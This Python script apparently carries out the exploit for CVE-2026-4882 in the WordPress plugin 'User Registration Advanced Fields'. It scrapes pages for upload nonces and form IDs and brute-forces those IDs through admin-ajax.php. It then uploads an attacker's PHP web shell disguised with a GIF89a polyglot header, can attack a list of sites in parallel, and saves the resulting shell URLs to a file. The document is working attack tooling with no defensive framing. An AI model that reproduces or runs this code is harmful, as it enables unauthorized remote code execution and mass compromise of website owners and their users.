#!/usr/bin/env python3 """ ╔══════════════════════════════════════════════════╗ ║ CVE-2026-4882 — Full Auto Exploit ║ ║ User Registration Advanced Fields <= 1.6.20 ║ ║ by: Shadow x Friska 😈🔥 ║ ╚══════════════════════════════════════════════════╝ Usage: python3 shadow.py -u https://target.com -s shadow.php python3 shadow.py -f targets.txt -s shadow.php -t 30 """ import re import sys import os import argparse import warnings import requests import threading from urllib.parse import urljoin, urlparse from concurrent.futures import ThreadPoolExecutor, as_completed warnings.filterwarnings("ignore") requests.packages.urllib3.disable_warnings() BANNER = """ ╔══════════════════════════════════════════════════╗ ║ CVE-2026-4882 — Full Auto Exploit ║ ║ User Registration Advanced Fields <= 1.6.20 ║ ║ by: Shadow x Friska 😈🔥 ║ ╚══════════════════════════════════════════════════╝ """ HEADERS = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.9", "Accept-Encoding": "gzip, deflate", "Connection": "keep-alive", } stop_event = threading.Event() # Priority paths — ordered by likelihood, deduplicated PRIORITY_PATHS = [ "/registration/", "/register/", "/signup/", "/sign-up/", "/my-account/", "/account/", "/", "/login/", "/join/", "/member/", "/create-account/", "/user-registration/", "/registrazione/", "/registrierung/", "/inscription/", "/registro/", "/daftar/", "/belepes/", "/masuk/", "/wp-login.php?action=register", ] print_lock = threading.Lock() file_lock = threading.Lock() def log(icon, msg): with print_lock: print(f" {icon} {msg}") def extract_from_html(html): """Extract nonce + form_id from HTML""" nonce = None m = re.search(r'uraf_profile_picture_upload_nonce["\']:\s*["\']([a-f0-9]+)', html) if m: nonce = m.group(1) fids = re.findall(r'data-form-id=["\']?(\d+)', html) has_pp = bool(re.search(r'profile-pic-upload|uraf-profile-picture|profile_pic_url', html, re.I)) return nonce, list(set(fids)), has_pp def scan_pages(session, target, paths, timeout=10, verbose=False): """Scan list of paths, collect nonce + form_id. Stops when both found.""" nonce = None form_ids = [] has_pp = False source = None total = len(paths) for i, path in enumerate(paths, 1): if stop_event.is_set(): break url = f"{target}{path}" if path.startswith("/") else f"{target}/{path}" if verbose: print(f"\r ⏳ [{i}/{total}] {path:<40}", end="", flush=True) try: r = session.get(url, timeout=timeout, allow_redirects=True) if r.status_code != 200: continue n, fids, pp = extract_from_html(r.text) if n and not nonce: nonce = n source = url if verbose: print(f"\r 🔑 Nonce found at {path} ") if fids: for fid in fids: if fid not in form_ids: form_ids.append(fid) if verbose: print(f"\r 🎯 Form ID {fid} at {path} ") if pp: has_pp = True if nonce and form_ids: break except Exception: continue if verbose: print(f"\r ✅ Scanned {total} paths ") return nonce, form_ids, has_pp, source def crawl_extra_paths(session, target, timeout=10): """Crawl homepage + sitemap for paths not in PRIORITY_PATHS""" parsed = urlparse(target) paths = set() try: r = session.get(f"{target}/", timeout=timeout, allow_redirects=True) if r.status_code == 200: hrefs = re.findall(r'href=["\']([^"\'#]+)', r.text) for href in hrefs: full = urljoin(target, href) p = urlparse(full) if p.netloc == parsed.netloc and not re.search(r'\.(css|js|png|jpg|gif|svg|woff|ico|pdf)$', p.path, re.I): paths.add(p.path.rstrip("/") + "/") except Exception: pass try: r = session.get(f"{target}/sitemap.xml", timeout=timeout) if r.status_code == 200: locs = re.findall(r'([^<]+)', r.text) for loc in locs[:50]: p = urlparse(loc) if p.netloc == parsed.netloc: paths.add(p.path.rstrip("/") + "/") except Exception: pass # Remove paths already in priority list priority_set = set(PRIORITY_PATHS) return [p for p in sorted(paths) if p not in priority_set and p.rstrip("/") not in priority_set] def fetch_nonce(session, target, timeout=10, verbose=False): """ Phase 1: Find nonce + form_id Step 1: Priority paths (fast) Step 2: Crawl homepage + sitemap (fallback for custom paths) """ # Step 1: Priority paths nonce, form_ids, has_pp, source = scan_pages(session, target, PRIORITY_PATHS, timeout, verbose) if nonce and form_ids: return {"nonce": nonce, "form_ids": form_ids, "has_pp": has_pp, "source": source} # Step 2: Crawl for custom paths if verbose: print(" 📡 Crawling homepage + sitemap for extra paths...") extra = crawl_extra_paths(session, target, timeout) if extra: if verbose: print(f" 📡 Found {len(extra)} extra paths") n2, fids2, pp2, src2 = scan_pages(session, target, extra, timeout, verbose) if n2 and not nonce: nonce = n2 source = src2 if fids2: for fid in fids2: if fid not in form_ids: form_ids.append(fid) if pp2: has_pp = True if nonce: return {"nonce": nonce, "form_ids": form_ids, "has_pp": has_pp, "source": source} return None def brute_form_id(session, target, nonce, end=500, threads=20, timeout=10): """Brute force form_id via AJAX — stops on first hit""" ajax_url = f"{target}/wp-admin/admin-ajax.php" dummy = b'\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff\x00\x00\x00' found_ids = [] found_event = threading.Event() lock = threading.Lock() def try_id(fid): if found_event.is_set(): return None try: r = session.post( ajax_url, params={"action": "uraf_profile_picture_upload_method_upload", "security": nonce}, files={"file": ("probe.gif", dummy, "image/gif")}, data={"form_id": str(fid), "is_snapshot": "1"}, timeout=timeout, ) txt = r.text if '"success":true' in txt: found_ids.append(fid) found_event.set() return fid elif '"success":false' in txt: msg_match = re.search(r'"message":"([^"]+)"', txt) if msg_match: msg = msg_match.group(1).lower() if 'not found' not in msg and 'invalid form' not in msg and 'no form' not in msg: found_ids.append(fid) found_event.set() return fid except Exception: pass return None with ThreadPoolExecutor(max_workers=threads) as pool: futures = {pool.submit(try_id, i): i for i in range(1, end + 1)} for future in as_completed(futures): if found_event.is_set(): for f in futures: f.cancel() break return sorted(set(found_ids)) def upload_shell(session, target, nonce, form_id, shell_content, shell_name, timeout=30, verbose=False): """Upload shell file — retries up to 2 times""" url = f"{target}/wp-admin/admin-ajax.php" for attempt in range(2): try: r = session.post( url, params={"action": "uraf_profile_picture_upload_method_upload", "security": nonce}, files={"file": (shell_name, shell_content, "image/gif")}, data={"form_id": str(form_id), "is_snapshot": "1"}, timeout=timeout, ) try: resp = r.json() except Exception: if verbose: log("⚠️", f"Upload attempt {attempt+1}: non-JSON response (HTTP {r.status_code})") continue if resp.get('success'): return resp.get('data', {}).get('profile_picture_url', '') else: if verbose: msg = resp.get('data', {}).get('message', '') if isinstance(resp.get('data'), dict) else str(resp.get('data', '')) log("⚠️", f"Upload attempt {attempt+1}: {msg or r.text[:100]}") except Exception as e: if verbose: log("⚠️", f"Upload attempt {attempt+1}: {str(e)[:80]}") return None def resolve_target(session, target, timeout=10): """Follow redirects on target root → return final base URL (e.g. http→https, www→non-www)""" try: r = session.get(f"{target}/", timeout=timeout, allow_redirects=True) parsed = urlparse(r.url) return f"{parsed.scheme}://{parsed.netloc}" except Exception: return target def exploit_single(target, shell_content, shell_name, brute_max=500, brute_threads=20, timeout=10): """Full exploit chain for single target — lightweight, fast""" target = target.rstrip("/") session = requests.Session() session.headers.update(HEADERS) session.verify = False # Auto-resolve redirects (http→https, www→non-www, etc) target = resolve_target(session, target, timeout) # Phase 1: Find nonce + form_id info = fetch_nonce(session, target, timeout) if not info: return None, "no_nonce" nonce = info["nonce"] form_id = info["form_ids"][0] if info["form_ids"] else None # Phase 2: Brute force if no form_id if not form_id: fids = brute_form_id(session, target, nonce, brute_max, brute_threads, timeout) if fids: form_id = fids[0] else: return None, "no_form_id" # Phase 3: Upload shell_url = upload_shell(session, target, nonce, form_id, shell_content, shell_name) if shell_url: return shell_url, "success" else: return None, "upload_failed" def interactive_mode(): """Interactive menu — no args needed""" print(BANNER) print(" ═══ Interactive Mode ═══\n") # 1. Target file while True: target_file = input(" 📄 Target file (e.g. targets.txt): ").strip() if not target_file: print(" ❌ Cannot be empty!\n") continue if not os.path.isfile(target_file): print(f" ❌ File not found: {target_file}\n") continue break # 2. Threads while True: t_input = input(" ⚡ Threads 1-50 (default 30): ").strip() if not t_input: threads = 30 break try: threads = int(t_input) if 1 <= threads <= 50: break print(" ❌ Must be 1-50!\n") except ValueError: print(" ❌ Must be a number!\n") # Load targets targets = [] with open(target_file, 'r') as fh: for line in fh: line = line.strip() if line and not line.startswith('#'): targets.append(line) targets = list(dict.fromkeys(targets)) if not targets: print(" ❌ No targets found in file!") sys.exit(1) # Shell file — default shadow.php in same dir shell_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "shadow.php") if not os.path.isfile(shell_path): while True: shell_path = input(" 📁 Shell file path: ").strip() if os.path.isfile(shell_path): break print(f" ❌ File not found: {shell_path}\n") shell_name = shell_path.replace("\\", "/").split("/")[-1] with open(shell_path, 'rb') as f: shell_content = f.read() # Auto-prepend GIF89a polyglot header if missing if not shell_content.startswith(b'GIF89a'): shell_content = b'GIF89a\n' + shell_content print() print(f" 🎯 Targets : {len(targets)}") print(f" 📁 Shell : {shell_path}") print(f" ⚡ Threads : {threads}") print(f" 💣 Brute : 1-500") print() return targets, shell_content, shell_name, threads, 500, 10 def main(): # If no args → interactive mode if len(sys.argv) == 1: targets, shell_content, shell_name, threads, brute_max, timeout = interactive_mode() else: parser = argparse.ArgumentParser(description="CVE-2026-4882 Full Auto Exploit") parser.add_argument("-u", "--url", help="Single target URL") parser.add_argument("-f", "--file", help="File with target URLs (one per line)") parser.add_argument("-s", "--shell", required=True, help="Local shell file path") parser.add_argument("-b", "--brute-max", type=int, default=500, help="Max form_id (default: 500)") parser.add_argument("-t", "--threads", type=int, default=30, help="Parallel targets (default: 30)") parser.add_argument("--timeout", type=int, default=10, help="Request timeout (default: 10s)") args = parser.parse_args() if not args.url and not args.file: parser.error("Use -u for single target or -f for mass targets!") threads = min(max(args.threads, 1), 50) brute_max = args.brute_max timeout = args.timeout # Load targets targets = [] if args.url: targets.append(args.url.strip()) if args.file: with open(args.file, 'r') as fh: for line in fh: line = line.strip() if line and not line.startswith('#'): targets.append(line) targets = list(dict.fromkeys(targets)) # Read shell file once shell_name = args.shell.replace("\\", "/").split("/")[-1] with open(args.shell, 'rb') as f: shell_content = f.read() # Auto-prepend GIF89a polyglot header if missing if not shell_content.startswith(b'GIF89a'): shell_content = b'GIF89a\n' + shell_content print(BANNER) print(f" 🎯 Targets : {len(targets)}") print(f" 📁 Shell : {args.shell}") print(f" ⚡ Threads : {threads}") print(f" 💣 Brute : 1-{brute_max}") print() uploaded = [] stats = {"success": 0, "no_nonce": 0, "no_form_id": 0, "upload_failed": 0, "error": 0} def process_target(i, target): if stop_event.is_set(): return try: # Shorter timeout in mass mode to avoid hanging shell_url, status = exploit_single( target, shell_content, shell_name, brute_max, min(threads, 20), min(timeout, 8) ) with print_lock: tag = f"[{i}/{len(targets)}]" if status == "success": print(f" 🩷 {tag} {target}") print(f" \033[92m→ {shell_url}\033[0m") stats["success"] += 1 elif status == "no_nonce": print(f" 💀 {tag} {target} — no nonce") stats["no_nonce"] += 1 elif status == "no_form_id": print(f" ⚠️ {tag} {target} — no form_id") stats["no_form_id"] += 1 elif status == "upload_failed": print(f" ❌ {tag} {target} — upload failed") stats["upload_failed"] += 1 if shell_url: with file_lock: uploaded.append(shell_url) with open("shell.txt", "a") as f: f.write(f"{shell_url}\n") except Exception as e: with print_lock: print(f" 💀 [{i}/{len(targets)}] {target} — {str(e)[:50]}") stats["error"] += 1 # Single target = verbose, mass = compact parallel if len(targets) == 1: target = targets[0].rstrip("/") session = requests.Session() session.headers.update(HEADERS) session.verify = False # Auto-resolve redirects target = resolve_target(session, target, timeout) print(f"{'='*55}") print(f" [Target 1/1] {target}") print(f"{'='*55}") print(f"\n ═══ Phase 1: Nonce + Form ID Discovery ═══") info = fetch_nonce(session, target, timeout, verbose=True) if not info: log("💀", "Nonce not found! Plugin not active or WAF blocking.") else: log("🔑", f"Nonce : {info['nonce']}") log("📍", f"Source : {info['source']}") form_id = None if info["form_ids"]: form_id = info["form_ids"][0] log("🎯", f"Form ID (HTML): {form_id}") else: print(f"\n ═══ Phase 2: Form ID Brute Force ═══") log("💣", f"Brute forcing form_id (1-{brute_max})...") fids = brute_form_id(session, target, info['nonce'], brute_max, min(threads, 20), timeout) if fids: form_id = fids[0] log("🎯", f"Form ID found: {form_id}") else: log("💀", "No valid form_id found!") if form_id: print(f"\n ═══ Phase 3: Shell Upload ═══") log("📤", f"Uploading {shell_name}...") shell_url = upload_shell(session, target, info['nonce'], form_id, shell_content, shell_name, verbose=True) if shell_url: uploaded.append(shell_url) with open("shell.txt", "a") as fout: fout.write(f"{shell_url}\n") log("✅", "Upload SUCCESS!") log("🌐", f"Shell: \033[92m{shell_url}\033[0m") log("🩷", "EXPLOIT SUCCESS!") stats["success"] = 1 else: log("❌", "Upload failed!") else: # Mass mode — parallel targets, 60s max per target target_timeout = 60 with ThreadPoolExecutor(max_workers=threads) as pool: futures = {pool.submit(process_target, i, t): t for i, t in enumerate(targets, 1)} try: for f in as_completed(futures, timeout=target_timeout * len(targets) / threads + 30): if stop_event.is_set(): break except TimeoutError: print("\n ⏱️ Global timeout reached, moving on...") except KeyboardInterrupt: stop_event.set() print("\n\n ❌ Stopped by user!") # Summary print(f"\n{'='*55}") print(f" ═══ Final Summary ═══") print(f" 🎯 Total targets : {len(targets)}") print(f" 🩷 Success : {stats['success']}") if stats["no_nonce"]: print(f" 💀 No nonce : {stats['no_nonce']}") if stats["no_form_id"]: print(f" ⚠️ No form_id : {stats['no_form_id']}") if stats["upload_failed"]: print(f" ❌ Upload failed : {stats['upload_failed']}") if stats["error"]: print(f" 💀 Errors : {stats['error']}") if uploaded: print(f"\n 📄 Saved to: shell.txt") print(f"{'='*55}\n") if __name__ == "__main__": try: main() except KeyboardInterrupt: stop_event.set() print("\n\n ❌ Interrupted!") sys.exit(1)